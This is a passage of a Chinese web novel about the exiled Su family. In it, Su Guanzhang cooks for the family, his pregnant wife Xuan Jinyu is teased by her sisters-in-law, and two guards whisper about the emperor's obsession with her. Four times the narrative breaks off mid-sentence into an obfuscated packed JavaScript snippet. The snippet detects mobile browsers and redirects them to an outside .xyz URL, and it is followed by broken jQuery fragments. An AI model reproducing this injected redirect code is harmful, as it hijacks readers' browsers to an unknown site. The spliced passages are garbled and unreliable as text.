许萱娘:“我来给你打下手。” 三位嫂嫂既偷了闲,又能欣赏素来清冷自若不善言辞的小叔子举着锅铲烹饪的模样,可都各个乐不可支。 这边,许玉娘让宣槿妤坐在自己身边,温柔地握住她的手,看着她稍显苍白的面色,“可是又害喜了?” 公爹和大伯子都在,宣槿妤心里微窘,朝婆母笑了笑,“已经没事了。” “这孩子还算乖巧,不怎么折腾你。”许玉娘道,抬头看苏琯煜,“不像当年我怀你们大哥的时候,整日里吐个没完。” “出来之后也是个闹腾的,折腾得奶娘嬷嬷们没个好觉。”许玉娘毫不避讳地在小儿媳面前揭大儿子的老底。 “没成想,长大了却成了这副模样。”许玉娘撇了撇嘴。爱笑有什么用?骨子里还不是一副老学究模样? 她养了两个儿子,却没一个和她贴心的,还是女儿好。 “才三岁,我要亲亲他,都不许。” 许玉娘抱怨,“不知从哪里学来的歪理,说是小男子汉不能被娘亲亲脸,只有以后的媳妇儿才能亲。” 宣槿妤差点绷不住面色,好悬忍住了。 偷偷觑了一眼大伯子,见他已经收了脸上常挂着的笑,一副尴尬的样子,便收回了目光,继续静静地听着婆母说话。 坐在许玉娘另一侧的苏声摸了摸自己的鼻子。 如今长孙都八岁了,他年轻时候拈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762905|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的酸吃的醋还总会酸到自己。 幸好妻子到如今都不曾怀疑到他头上。 许玉娘谈兴大起,完全没留意到丈夫的异样,只一心和小儿媳说话。 “你这胎啊,我盼着是个贴心的哥儿或姐儿。别学他/她父亲那样,整日里板着个脸,像你这样就很不错。” 槿妤多鲜活啊!想笑就笑,想哭就哭。 性子娇点就娇点,这样夫妻二人膝下就热热闹闹的,说不准还能增进夫妻感情。 “我也盼着像我。”宣槿妤微微点头。 若是像了苏琯璋那木头桩子,父子俩就罢了,她可以两个一起骂。但若是父女俩,香香软软的女儿若是像她父亲,她晚上做梦都会哭的。 话题说着说着又到了养胎育儿的心得上,这时许玉娘就少不了揭孩子们的老底。 许玉娘:“要说好玩儿,还是刚学说话的时候。” 她笑,“你们大哥开始学说话没多久,一日学了个‘七’字,一张口就说‘七七七’的。我就笑他,是不是想要媳妇儿了。” 许玉娘想着当年的事情,笑出了眼泪,就连苏声眉眼间也俱是笑意。 “然后煜小子说,‘是是是’,可逗得一屋子的人都在笑。” 宣槿妤脸上也有了些许笑模样。 “我问他,“妻妻妻”在哪里?刚好你们舅母那时候来看我,他就指着你们舅母的肚子说‘妻’在这儿。” “果真是天赐的缘分,你们舅母回去没多久就诊出了喜脉。” 大哥大嫂之间原来还有这样的趣事。 宣槿妤用手挡住脸,只露出含笑的双眸。 “还不止,”许玉娘擦了擦笑出来的眼泪,“你们大嫂抓周的时候,本是抓了一柄竹剑的。结果你们大哥眼馋那竹剑,自己趁着大人没注意去拿了。” “大人还没来得及去拦,他已经抢了小表妹的小竹剑。” 竟还有这样的事! 宣槿妤看着如今剑眉星目的稳重世子将军,一时很难将他和婆母口中那个会和自己表妹抢抓周礼的淘气小娃娃联系起来。 “萱姐儿见抢不过小表哥,就抱住他的手不放,想让大人帮忙拿回自己的抓周礼。”许玉娘陷入了回忆,不知不觉中改了对许萱娘的称呼。 “结果大人们都在笑,说她抓周给自己抓了个小夫君。” “当时只是玩笑话,没成想这两个孩子长大之后竟真的成了一家人。” “大哥大嫂也是天定的缘分。”宣槿妤终于开口,用了婆母方才的话。 许玉娘点头,“谁说不是呢?不然就他两岁就抢了自己小表妹抓周礼这样的事,京中还有哪个体面人家愿意将自家姑娘嫁给他。” 大盛虽将小儿的抓周礼看得很重,视为人生中第一个大礼,不容出差错;但才两岁的孩子拿了感兴趣的竹剑,并非有意破坏小表妹的抓周礼。 说出去虽然不好听,但大家总会理解孩子还小,不懂事的。 哪有这么严重。 宣槿妤失笑,但她也看得出婆母是在埋汰大伯子,便识趣地不去点破。 29. 第 29 章 “幸好大家当时将事情圆过去了。”许玉娘说,“萱姐儿抓周给自己抓了个小夫君,说出去总比萱姐儿小表哥抢了她的抓周礼好听。” 毕竟前者是小儿女之间的缘分,茶余饭后也能当一桩趣事来谈。 苏琯煜面色发窘,母亲一口一个“抢了抓周礼”,好似他做了什么十恶不赦的事情似的。 母亲在萱娘面前说说也就罢了,毕竟萱娘是当事人,还是他的表妹兼妻子。 但宣槿妤是他弟妹,又是在那样家中娇宠出来的姑娘。不会真将母亲的玩笑话听入耳中,日后想起来,嫌弃他之余,再去嫌弃他小弟吧? 小夫妻俩感情不易,还是莫再给二人平添嫌隙了。 瞧着弟妹也有点不知该怎么接话的样子,苏琯煜决定转移话题。 “母亲,我在佟城见到了妹妹,她很担心您。”苏琯煜对许玉娘说道。 许玉娘生了三个孩子,长子苏琯煜,幼子苏琯璋,中间的生的是个女儿,取名为苏琯绵。 苏琯绵性子和她的名字一般绵软,内里却十分坚韧,毕竟出身武将世家,自己又自幼习武。 宣槿妤嫁到苏家后,逢年过节时和这位已经嫁了人的二姐也相处过不短的时日,二人关系也十分不错。 闻言,她先看了一眼大伯子苏琯煜,再去看婆母许玉娘。 许玉娘果真被长子的话吸引住了,只还握着宣槿妤的手不放,有一下没一下地替她按揉着几个穴位。 婆媳二人对视一眼,默契地收住了方才的话题,齐齐朝苏琯煜投去目光。 “妹妹想跟着我们一起过来,但我没让。”苏琯煜继续说道,“妹夫、外甥们和外甥女我也匆匆见了一面,他们都很好。” 苏琯绵及笄后被许给了苏声手下的武将王曳证,夫妻二人生了两子一女,日子过得很是和美。 一年前王曳证被派往佟城驻军,苏琯绵带着孩子们也跟着去了。 苏家出事时新帝盛誉并未想起远在佟城的苏琯绵,刑部梁方方想着罪不及出嫁女,又见陛下没有特意提及,便也没有过多动作。 是以苏家之事并未波及到苏琯绵。 “还好你拦了她,”许玉娘还未说话,苏声已经开口,“陛下既没有想起她,便在佟城好好和女婿孩子们待着就是。哪有上赶着蹭流刑的?” “简直胡闹。”他轻斥。 许玉娘轻轻拍了拍明显动怒的丈夫,嗔道:“绵儿不过是担心我这个老母亲,你这个老父亲动什么气?她可没担心你。” “绵儿怎么会不担心我这个老父亲?夫人,你这话可要收回去。”苏声急了。 “那你说说,她既也在担心你这个老父亲,你方才生气给谁看?”许玉娘问他。 苏声虽是武将,却也是在世家熏陶出来的贵公子,举止并不粗俗。性子也称得上一句温和,平日里甚少动怒,和家中孙辈更是能说说笑笑,孩子们都不怕他。 不过女儿苏琯绵是他掌上明珠,一涉及到女儿,他便容易失了理智。 这也便是他和亲家公宣兆,两人一个武将、一名文臣,如此聊得来的重要原因之一。 被许玉娘一通抢白,苏声很快冷静下来。 “他们可有为难你们?”安抚好丈夫,许玉娘关切地问长子。 方才匆匆一叙,她还没来得及问详细的情况。 苏琯煜摇头,“他们奉命在军中藏了不少时日,和我们一起上过战场,心里有所判断。” “二叔失踪时,他们虽将我们捉拿,但没有我们主动配合,他们也奈何不了我们。” 那几名禁军很清楚这一点。 且他们和远在盛京城、端坐皇位、对战场的残酷一无所知的那位新帝不一样,他们有眼睛,当然看得出苏家不可能通敌叛国。 所谓苏家通敌叛国,不过是新帝为了收回他们的兵权才给他们硬加的罪名。 “即便初始他们有些不客气,但后来圣旨传来,他们没听到苏家入罪的消息,态度便也恭敬了起来。” 这时候便不是押送了,而是跟随他们一起来追上被流放的苏家人。 “儿子瞧着,相比于皇命,现下他们可能更愿意接近我们。”尤其是千户李晓明。 苏家军中人,上到将领,下到兵卒,也是如此。 他们认的不是那一方小小的虎符,而是代代骁勇善战的苏家人。且只有谋与勇兼具的苏家人,才能得到他们发自内心的尊敬与推崇。 苏家军,誓死效忠的不是大盛,而是他们苏家,是他们苏家数代不屈守卫国土的风骨。 若是苏家想要那龙椅上的位置,一声令下,苏家军上上下下不会有任何异议。 但大盛建朝伊始,苏家当时的掌权人和太祖有过君子之约,若是帝王贤明,苏家便甘愿为臣,世代维护大盛安稳。 一切的前提是,帝王贤明。 但新帝盛誉得位不正,先帝什么也没跟他说。他便也什么都不知道,只一味地想要得到兵权,殊不知,他能得到虎符,却也只限于此了。 也不知道他什么时候才会明白,苏家军根本不会听他的号令。 正说着,米饭的香气混合着一股鱼香传来,仔细一辨,鱼香竟还分了好几种。 孩子们停下玩闹,脚步轻快地朝香味来源跑过去。 “好香啊!”慕哥儿盯着锅里还在翻转的焦黄小鱼,不住地咽着口水。 “小叔叔,你会做饭。”六岁的苏玉格稀奇地盯着掌勺的苏琯璋,声音响亮。 这句话将所有人的视线都吸引了过去。 宣槿妤也好奇地站起来,绕过几棵大树,便见到了正翻转着锅铲的苏琯璋。 其余人也坐不住了,纷纷转过来看,很快苏琯煜周围便围了一堆人。 就连陈阳、王虎和李晓明都带了手下的人过来围观。 苏琯璋:“……” “你们不去吃饭?”他问陈阳。 陈阳只笑,“不急。”看热闹才最要紧。 王虎方才的一腔心事也都散了,闻言也颔首不语。 这几日光寻着荒山野岭的小道走,一路慢吞吞的,可乏味得紧。难得见这么一桩稀奇事,还不得上赶着来瞧热闹? 苏家小公子啊!那个武能平定沙场的小少将军,文能堪破冤屈的大理寺少卿,如今挥舞起锅铲来,居然也有模有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762906|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的。 苏琯璋的三位兄长惊讶地盯着自家小弟看了一会儿,彼此对视一眼,很有默契地转过头去笑了。 常湄言见这么多人来看小叔子的热闹,一时也替他发窘。 但到底是将门之女,她也十分大方,不好意思这个念头也只是转瞬即逝。 “煎至两面焦香,现在,倒入开水。”她继续指点。 苏琯璋一手执锅铲,一手将已经准备好的开水倒了下去。 “滋滋滋”的响声中,锅里的开水翻滚着,很快变成浓稠的白色,瞧着便让人食指大动。 “盖上锅盖,焖上半刻钟。”常湄言继续开口。 苏琯璋便将锅盖盖了上去。 看到这里,还有谁看不明白的? 分明是苏家三少夫人在指点这小公子做菜呢! 苏二婶只觉得这步骤十分熟悉,还没想起来,苏琯文已经抑制不住自己,“哈哈哈”地大笑了起来。 他大力拍着苏琯璋的肩膀,拍得“啪啪啪”作响。 “五弟,这几道菜可是你三嫂怀着龙凤胎的时候,我娘和丈母娘心疼她,特意寻来的膳食方子。你是该好好学学,做给五弟妹吃。” 被他大力拍着的苏琯璋眉头都没皱一下,只嫌弃地拂开三哥的手。 倒是宣槿妤,见苏琯文还继续笑着,又朝苏琯璋胸膛打了几拳,眉头蹙了起来。 苏琯璋这臭男人,她都没怎么欺负他呢,就让他三个欺负了? 这臭男人也真是,她都没掐他他就提前攥住她的手,不给掐。怎么他三哥又是拍又是打,就让了? 哼! 宣槿妤兀自不高兴着。 周遭人太多,她将脸藏在三人合抱的粗壮大树后,不特意留意,谁也看不到她的神情。 “小婶婶,你不高兴吗?”彤姐儿看到小婶婶的裙摆,转了一圈,找到人,抬头便看到她撅着的嘴,便问。 宣槿妤转头看彤姐儿,还没开口,眼角余光见苏琯文又捶了苏琯璋一拳。 她视线一顿。 这男人怎么都不知道躲的? 而这时,被彤姐儿的话吸引,一众人的视线齐齐地越过大树,也朝宣槿妤这个方向看来。 宣槿妤眉头一紧,忙移开视线。 旁人还没看清,苏琯璋已经眼尖地看到她方才的视线落点,忙将三哥仍捶在自己胸膛的手拂开。 苏琯文仍大大咧咧的,察觉不到弟妹已经在生气。 但常湄言已经意识到了,忙将丈夫从小叔子身边拉开。 “你小婶婶心疼你小叔叔呢!”宣槿妤还没回答彤姐儿的话,苏二婶已经笑着开口。 被这么多人围观着取笑,还大都是亲近的家人。 宣槿妤脸“腾”地一下子就红了,只嗫嚅着说了一句,“谁在心疼他”,便转过了头,面对着粗粗的树干去了。 苏二婶爽朗地笑了,朝儿子打了一掌,“槿妤,别不高兴了,二婶替你出气。” 她这一掌毫无预兆,打得又重,苏琯文忍不住“嘶”了声。 他可不是五弟那面瘫子,再怎么疼眉峰都不带动弹的,他疼了也是会叫的。 30. 第 30 章 笑声四起,宣槿妤脸更红了,从袖中抽出帕子往脸上一遮,双手捂着,自欺欺人地谁也不看。 许玉娘瞧着儿媳面红耳赤的羞样,稀罕得很,将她抱在怀里,“她二婶可别再逗了,我儿媳脸皮薄,比不得你。” 苏二婶便又拍了儿子一巴掌,无视苏琯文“哎哟哎哟”的刻意叫唤声,快步走到这对婆媳面前。 许玉娘笑着看她,苏二婶也揶揄地笑了下,张嘴就开始哄侄媳妇,“槿妤,谁敢笑话你,二婶就替你打他。” 宣槿妤将头往许玉娘怀里埋得更深了。 二婶可真促狭,跟三嫂嫂常湄言一样一样的,就爱逗人! 一片笑声中,苏琯璋快步走来,驱散了看热闹的人群。 “槿妤,”他将人从母亲怀里拉出来,“出来透口气,莫闷坏了。” 才害过喜,不能这样闷着。 宣槿妤抬起头,脸上还残余着未褪的红晕,艳丽逼人。 “你也不许笑我。”她开口,声音发颤。 她这副模样让苏琯璋不合时宜地想起昔日帐中夫妻情事之后,她也是这样绯红着脸,声音既娇且颤,让他又爱又怜。 “没有笑你。”苏琯璋将她揽入怀中,“槿妤,我很开心。” 开心她会护着他。 兄弟之间的打打闹闹常有,比武的时候刀剑无眼,也有各自在彼此身上开刀子的时候。但这在武将之家是常事,谁也不会因此心疼。 但槿妤在心疼他。 他情绪一向掩藏得很深,父母都难以察觉,这还是他为数不多向人袒露心事的时候。 “槿妤,我很开心。”他又说了一遍,用脸颊去蹭宣槿妤嫩滑的小脸,“你心疼我,我很开心。” “谁说我在心疼你了。”宣槿妤被他蹭得脸越发红润,嘴硬地不承认,“都是二婶在胡说,彤姐儿也瞧错了,我没有不开心。” 苏琯璋含笑地看着她。 他不相信! 宣槿妤恨恨地踩了他一脚,“不许笑!大家都在笑我,你不能笑。” 他是她这边的,谁笑都行,就他不行! 虽然苏琯璋这臭男人有表情的时候不多,但现在她还羞着,哪里能被他这样笑?她脸还要不要? “嗯,我不笑了。”苏琯璋又蹭了蹭,额头与她相碰,摩挲了一会儿,才站直身子。 “菜我烧得差不多了,很快就可以开饭。你要在这里等我吗?” 宣槿妤往后看了一眼,发现大家都散开了,便点点头。 苏琯璋便回到火堆前,将锅盖掀了,撒了点盐,很快将鱼盛了出来。 这便正式开饭了。 孩子们得了大人们的嘱咐,知道小婶婶脸皮子薄,便乖乖地将方才的事抛之脑后。 三位嫂嫂过来拉宣槿妤。 常湄言:“托了槿妤你的福气,今晚我们可是有口福了。” 丁茜茜:“可不是,今晚这一顿,从饭、到汤,再到菜,全是小弟一手包办的。” 许萱娘:“不错,我嫁入苏家这么多年了,也能吃到小叔子做的菜了。” 不说嫁入苏家的这十年,便是她作为苏琯璋舅家表姐,往来十余年也没有这样的运道。 小叔子哪里是会主动学做菜哄家人的性子?便是那张冷冷淡淡的脸,想从上面看出些情绪来也不容易。 还得是槿妤才治得了他。 嫂子们嘻嘻哈哈的,将宣槿妤摁在一块铺了帕子的平整石头上。 宣槿妤被三位嫂嫂你一句我一句说的哭笑不得,忍不住反将回去,“嫂嫂们倒是拿我打趣得开心,兄长们追上来的时候怎么都见着你们哭了?” 分明是三位兄长都追上来了,嫂嫂们心里开心,只因着周遭人多,不好表现出来,只寻着他们夫妻俩逗趣。 怪促狭的,一个比一个会来事,也说不清是谁带坏了谁。 许萱娘和妯娌们对视一眼,“噗嗤”笑了。 她才洗过手,便伸手在宣槿妤脸上轻轻捏了一把,“槿妤这张嘴可真利索,一说便将我们三个都说进去了。” 她习武,力气比一般闺阁女子大很多。宣槿妤面嫩,她不敢用力,捏便像极了摸。 惹得常湄言和丁茜茜笑得不怀好意。 常湄言冲着不远处扬声道:“五弟快看,大嫂在调戏你家少夫人呢!” 丁茜茜也连声附和,“五弟,我可以当证人。” 苏琯璋在家中这一辈中排行第五,是最小的那一个。 还未娶妻时家里兄长嫂子们一口一个小弟地叫着,也不见他有什么不满。偏生要娶妻了,便不许人再叫他小弟,只管叫他五弟。 兄长和嫂子们也不会拂了他的面子,当着他的面也都改口了。 三位兄长那里宣槿妤不清楚他们私底下如何,只嫂子们私底下就和她取笑了不少次,仍旧小弟小弟地叫着。 苏琯璋大抵也是知道兄嫂们在他背后是如何取笑他的,但也不见他有什么反应。 约莫也是不在意的。 就是不知道他为何突然就要让兄嫂们改口。 苏琯璋对于嫂嫂们玩笑的话没有什么反应,倒是许萱娘听了两位弟妹的话,只笑着又多摸了宣槿妤几下。 惹得常湄言和丁茜茜齐声道:“哎呀,大嫂嫂你快松手,让我也摸摸。”说罢也不告状了,两人洗干净了手擦干就要去摸宣槿妤的脸。 宣槿妤背靠着大树,连声告饶,偏偏出口的话却是挑衅,“三位嫂嫂这是被我说中了心思,恼羞成怒了罢?” 正在洗锅的苏琯璋闻声抬起头,便见宣槿妤捂着脸,露出弯弯的眉眼,没有生气,也没有方才害羞到不肯见人的意思。 三位嫂嫂也顾忌着她的双身子,玩闹也颇有分寸。三人都护在她周围,防着她不小心掉下去。 于是他很快又低下头,专心地把锅多刷了几遍——这口锅方才用来做的都是鱼,怕残余着腥味,晚上做菜时宣槿妤吃着会不舒服。 确认锅彻底没有鱼腥味了,他才泼了水,将锅放在火上,用余热烘干了。 这干活的利索样,将几个孩子都看呆了,纷纷让自家父亲来看。 苏琯煜又叫来他的母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762907|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲。 许玉娘一看就笑了,赞道:“不错,璋小子是干活儿的一把好手。” 苏琯煜顺势接话,“日后都让小弟做饭好了。” 许萱娘闻言,笑着对丈夫说道:“夫君,只小弟一人怎么够?小弟做饭,你可以烧火,在一旁打下手。” 常湄言和丁茜茜也不闹宣槿妤了,都去看自家夫君。 苏琯文和苏琯武这对双胞胎和旁的双胞胎不同,他们长得不一样,性子也截然不同;此时却难得地,露出了近乎一模一样的惊愕神情。 一片哄笑。 “他们三兄弟一来,萱娘倒是放松不少。”笑声中,许玉娘感慨。没有在死牢里的紧绷,也没有前两日的少言、只一心照顾孩子们的沉闷模样了。 苏老夫人本在慈爱地看着看着孙子孙媳们开玩笑,听着许玉娘的感慨,握住了她和苏二婶的手。 “都是我们苏家的好媳妇儿。” 苏家一阵又一阵的笑声传到远处,正在吃饭的两伙人不禁朝他们看了一次又一次。 “他们家可真够热闹的。”王虎对李晓明说道。 前两日还一片沉闷,只偶尔说笑几句,就孩子们还活泼些。今日孩子们还好,大人们却都笑闹起来了。 李晓明很快吃完一条烤鱼,去拿刚烤好的野鸡,闻言只笑笑,并不接话,咬了一口野鸡腿。 “一家团聚,热闹些也正常。”几步远,陈阳随口接了话茬,视线却没朝那边移过一分。 他手下的官兵们也大多只一心吃着饭,目光偶尔飘过去,也很快收回来。并不如禁军们那般明显,视线移过去时很久都舍不得收回来。 李晓明看得若有所思。 官兵们和禁军们分属不同的部门,平日里负责的差事也大多不重合,便也瞧不出有什么差别。 但如今两拨人被凑到一起,泾渭分明,差距就很容易看得出来了。 “兵部如今的尚书是岳丰大人?”他问王虎。 王虎不明所以,还是点了头。 “怪不得。”李晓明说。 “你在说什么?”王虎疑惑地问。 “没什么。”人多,李晓明什么也没说。 兵部官兵们明显就比禁军们训练有素得多,纪律也更加严明。 他记得岳丰是苏家旧部,再结合自己才追上来那会儿看到的,他便肯定了自己的猜测。 等吃饱的人群散开休息,李晓明才和王虎说了实话,“你看兵部这群官兵,他们和苏家军很像。” “苏家军?” “对,不过也只是形似,神还是差了几分。”李晓明说,“到底没上过真正的战场,也就没有苏家军身上那股煞气。” “煞气听着可不是什么好词。”王虎说。 李晓明笑,伸手薅下一片绿油油的叶子,“这得分是谁在看。若是漠北大军来看,苏家军这一身煞气就足够让他们惊惧。” 不然,苏家二叔都失踪了,三位少将军也都被拿下送离漠北,漠北大军为何还迟迟拿不下前线? 将领重要,兵卒也十分重要。 31. 第 31 章 “我赢了,耶!”有稚嫩的童音传来,听着雀跃无比。 李晓明看过去,便见两头身的矮胖小团儿在地上蹦了几下,被大人提醒刚吃饱不能跳,才收敛几分,脸上却仍旧挂着灿烂的笑。 这孩子,看模样像是苏琯武少将军的小儿子?这般小?有三岁了么? 王虎见他看着慕哥儿,便道:“那是苏家这辈最小的孩子。” 想了想,觉得不严谨,他又补充,“除了小少夫人肚子里那个,就他最小。好像还不到三岁。” 李晓明眉头紧皱,陛下竟连这么小的孩子也处以流放之刑?! 忽然,他意识到什么,猛地看向王虎,“什么小少夫人肚子里那个?” 苏家年轻的女眷也就四个,这里头还有一个孕妇? 王虎想起,李晓明带人追上来的时候,好像宣小少夫人才下地走了没多久。他当是没看到苏小公子背着人的,心下了然。 “喏,苏家小公子的少夫人,宣家唯一的姑娘,外祖父是林太傅那个。”王虎不动声色地指了指宣槿妤,“她肚子里那个才坐稳胎。” 见李晓明惊得虎目圆睁,他笑了笑,“刑部死牢里才诊出来的,当时是两个多月。宣尚书求了陛下,将女儿接回家养了半个月的胎。” 他比了个手势,“这不,三日前才随我们出发。” 李晓明压低了声音,“林太傅竟也舍得外孙女遭这流刑之苦?” 王虎也将声音压得极低,“这有什么,宣小少夫人还是陛下的心上人呢!”不也舍得亲自下旨将人流放了?也不怕人死在半途。 当然,若真让人死在半途,且不说宣家和林家会对他怎么样,陛下那里,他肯定头一个朝自己发难。 想到自己身上那道暗旨,他苦笑了下。 “什么心上人?”李晓明不明所以。 当年陛下登基,不是已经不计较宣家姑娘抗旨拒婚的事了?宫宴上还特意携皇后娘娘朝已经成为苏家小少夫人的宣家姑娘敬酒,口称“师妹”来着。 他奉命到苏家军前,这事在当时还是件美谈。 难不成这些年,陛下一直没将人放下?那今次苏家出事,陛下他…… 宣家姑娘身后有宣家和林家,还有了身孕,竟也被流放了。她是做了什么事彻底激怒了帝王? …… 他不敢再想下去。 王虎将京城的流言告诉了他,还告诉他一个秘密,“盛京城里的消息是我去放的。” 李晓明头皮发麻,朝王虎做了个“噤声”的手势。 “这话你日后莫再说出来,不管对着谁。”李晓明警告他。 他们俩都三年不见了,王虎竟还这样相信他。李晓明不知道该欢喜还是忧愁。 “不管是谁,还是防着点好。” 王虎笑,“你以为旁人不知道消息是谁传出来的?陛下也不在意我告诉了谁,他就是要全天下的人都知道。” 他也不是个傻的。 真要命的事情,他只会藏在心里,连想都不敢多想,岂会说出口。 疯了,都疯了。 李晓明站着不动,放空了好一会儿。 “怎么,听说这消息举国上下没人不知,你居然没听说过?”王虎见他缓和过来,问。 这回轮到李晓明苦笑,“这一路急着赶路,哪里有心思听这些。” “也是,你连宣小少夫人有孕了都不知道。这消息早在陛下下旨之前就已经人尽皆知了。”王虎说。 这消息听说还是林太傅放出来的呢!也不知道真假,是以他也没跟李晓明说。 还有刑部死牢里宣槿妤对陛下的那句挑衅,他想了又想,话都到了嘴边,还是没有说出来。 说出来除了让陛下颜面尽失,好像也没多大用处。 啧,这宣小少夫人可真敢说。“我若要嫁他,当年便不会抗旨拒婚。” 陛下当年为何就是没入了这宣家姑娘的眼?他忽地起了好奇心。 “你在想什么?”李晓明见他脸色变来变去的,便问。 王虎摸了摸自己的脸,想起了方才李晓明说的一番兵部官兵和苏家军的话,意识到自己的情绪还是过于外露了。 “没什么。”他说。 “等你到了盛京城,自然就会知道了。”迎着李晓明狐疑的眼神,他补充道。毕竟什么流言,都是先从盛京城里传出来的。 - 这餐饭是宣槿妤这三日来吃的最好的一顿,比昨日的烤兔子还好吃。 “是因为这餐饭是五弟亲手做的,槿妤你爱屋及乌,就觉得好吃吧?”许萱娘听完宣槿妤的话,笑她。 “大嫂嫂,你再这样我不理你了。”宣槿妤将头扭到一旁,绯色爬上了白玉般的耳垂,十分显眼。 许萱娘看得心里欢喜,却又担心真将人惹恼了,忙揽住她的肩,“好好好,大嫂嫂不笑你了。” 宣槿妤这才将头转回来。 “看小弟收拾餐具。”许萱娘和她咬耳朵,常湄言和丁茜茜一旁“嗤嗤”地捂着嘴笑。 宣槿妤瞪了一眼三位存心看他们夫妻俩笑话的嫂嫂,嘴一撅,没搭理她们,视线却真的不由自主地朝着苏琯璋移过去。 只见苏琯璋收拾好了碗筷,端到方才的火堆旁,伸手摸了摸铜盆。许是水已经热了,他便弯下腰,检查了方才熄灭的火。 宣槿妤看得出神,她还从未见过这样的苏琯璋。 分明是在做着些微不足道的小杂活儿,一举一动却仍是不疾不徐,像是在书房里泼墨煮茶般,让人赏心悦目。 她这头在出神,那头苏琯璋已经直起身来。 火堆里还有些余烬,为保险起见,他舀了一瓢水,泼了进去。 灰烬撞在铜盆底部,黏了上去。苏琯璋就着略烫的清水,不甚熟练地将碗筷洗干净了。 宣槿妤移开了视线。 苏琯璋没留意到她的视线,洗了手便走了回来,在她身旁坐下。 刚吃完饭,谁也没想着去眯一会儿,只想懒懒地坐着,说些闲话。 自苏二叔带兵出征这小半年来,他们家难得有这样团圆的时候。 不过,此时谁也没提缺席的苏家二叔,就连孩子们也十分懂事地没有提。苏二婶更是一副不在意的模样,一直和苏老夫人说着话。 见苏琯璋坐下,三三两两说着小话的苏家人格外默契地停了下来,含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762908|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑的视线齐齐落在他身上。 “五弟今日真是贤惠。”苏琯煜夸赞道。 苏琯璋无奈。 大哥这“贤惠”二字夸得,像是他第一次领兵大胜回来,军中将领夸他“英勇有谋”一样。 瞧着都是诚心实意。 但不知大哥心里,藏了几分戏弄他的心思。 “今晚若是不能赶上住驿站,大哥也可以跟着学一学做菜。”苏琯璋回敬道。 他方才观察了四周,在脑中勾勒着大盛的舆图,发现这里离最近的驿站都还有十里距离。 往后天气越发热了,太阳也更晒,他不敢冒险让宣槿妤暴露在太阳底下。 莫说宣槿妤受不住,就连苏老夫人和孩子们也受不住。 等下陈阳等人来催上路时,他还要和人商量一下,等到日头没那么盛了再出发。 苏琯煜不知他在想些什么,只摆摆手,“有五弟一人就足够了,你今日做得就挺好的。” 苏琯璋还没开口,苏琯文、苏琯武已经开始附和,将此事定了下来。 “就这么办了,五弟,往后你多操劳些。” 苏琯璋:“……”他真不想答应。他一直在做饭,槿妤害喜的时候谁陪着她? 心里想着人,他目光也跟着移过去,便见宣槿妤正看着他,捂着嘴,笑得眼中像是落了星子。 他心里一软,一时失了先机,要再拒绝便没可能了。 不过,好在也不是所有人都站三位兄长那头。 “好了,别再打趣你们五弟了,免得接下来他不肯再当‘田螺姑娘’。”苏老夫人开口解围,末了也忍不住打趣幼孙。 一群大人嘻嘻哈哈地挤眉弄眼起来。 这事便也不了了之。毕竟也是个玩笑而已,甚至比不得苏老夫人的一句“田螺姑娘”来得逗趣。 孩子们还没听说过“田螺姑娘”这个故事,被大人们笑得一脸莫名其妙,忙缠着曾祖母讲故事。 一个故事听完,慕哥儿意犹未尽,嚷道:“我还想听。” “我也想。”燕姐儿高高地举着小手。 不愧是亲姐弟。 “曾祖母累了,我来给你们讲。” 苏琯武揽着自家夫人的肩,逗自己一双儿女,“你们想听什么故事?来猜拳,赢了的人就可以选故事。” 孩子们眼睛一亮。 丁茜茜不轻不重地捅了他一下。 真是胡闹。 两个孩子都还小,待会儿输了的那个可别哭了。 “哭了你来哄。”丁茜茜没好气道。 “我来哄,我来哄。”苏琯武笑着说。 慕哥儿赢了姐姐。 燕姐儿果然哭了两声,被早有准备的苏琯武抱着哄了几句便破涕为笑,跟着弟弟听故事去了。 等苏琯武现编的故事讲完,几个小的都困得只往自家爹娘身上扎。大些的启哥儿和彤姐儿还好,不过也直揉着眼睛,连打几个哈欠。 “睡吧!”几位哥嫂收了笑,将孩子们揽在怀里,轻轻拍打着。 